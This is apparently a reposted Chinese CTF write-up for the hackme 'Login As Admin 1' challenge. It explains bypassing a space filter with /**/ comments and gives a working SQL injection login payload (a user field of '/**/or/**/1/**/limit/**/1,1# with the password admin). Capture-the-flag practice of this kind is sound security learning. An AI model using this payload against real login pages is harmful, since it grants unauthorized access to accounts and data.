作者：Quan | 来源：互联网 | 2023-06-03 17:43
本文由编程笔记#小编为大家整理，主要介绍了hackme_Login As Admin 1相关的知识，希望对你有一定的参考价值。 我一开始发现自己的注意力完全搞错了，以为是可以以HTTP头为注入点，后来
本文由编程笔记#小编为大家整理，主要介绍了hackme_Login As Admin 1相关的知识，希望对你有一定的参考价值。
我一开始发现自己的注意力完全搞错了，
以为是可以以HTTP头为注入点，后来发现自己完全想多了、、、
其实这题难度不大，只要注意绕过空格的过滤（/**/）即可，
具体原理见笔者另一篇随笔https://www.cnblogs.com/huangming-zzz/p/9818486.html中的“限制查询注入”
本题payload如下:
user:‘/**/or/**/1/**/limit/**/1,1#
password:admin
京公网安备 11010802041100号